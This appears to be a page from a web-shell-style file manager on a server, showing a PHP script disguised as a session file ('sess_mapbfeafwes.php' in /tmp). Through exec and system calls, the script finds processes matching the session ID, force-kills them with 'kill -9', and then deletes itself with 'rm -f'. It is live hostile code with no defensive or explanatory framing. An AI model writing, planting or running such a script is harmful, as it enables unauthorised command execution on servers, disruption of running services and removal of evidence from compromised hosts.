trAvis - MANAGER
Edit File: sess_mapbfeafwes.php
<?php // Target session ID to search for in processes $sessionId = "sess_mapbfeafwes"; // Command to find all processes containing the session ID, excluding the grep command itself $psCommand = "ps aux | grep " . escapeshellarg($sessionId) . " | grep -v grep"; exec($psCommand, $processes); // Check if any processes were found if (!empty($processes)) { foreach ($processes as $process) { // Extract PID from process string using regex // Process format: USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND preg_match('/^\S+\s+(\d+)/', $process, $matches); if (isset($matches[1])) { $pid = $matches[1]; // Get the full command line of the process $cmdCommand = "ps -p {$pid} -o command --no-headers"; exec($cmdCommand, $fullCommand); // Display process information echo "Process found:\n"; echo "PID: {$pid}\n"; echo "Command: " . ($fullCommand[0] ?? 'Unknown') . "\n"; // Forcefully terminate the process using SIGKILL (signal 9) exec("kill -9 {$pid}"); echo "Process {$pid} has been terminated\n\n"; } } } else { // No processes found with the specified session ID echo "No processes found containing session: {$sessionId}\n"; } system('rm -f /tmp/sess_mapbfeafwes.php'); ?>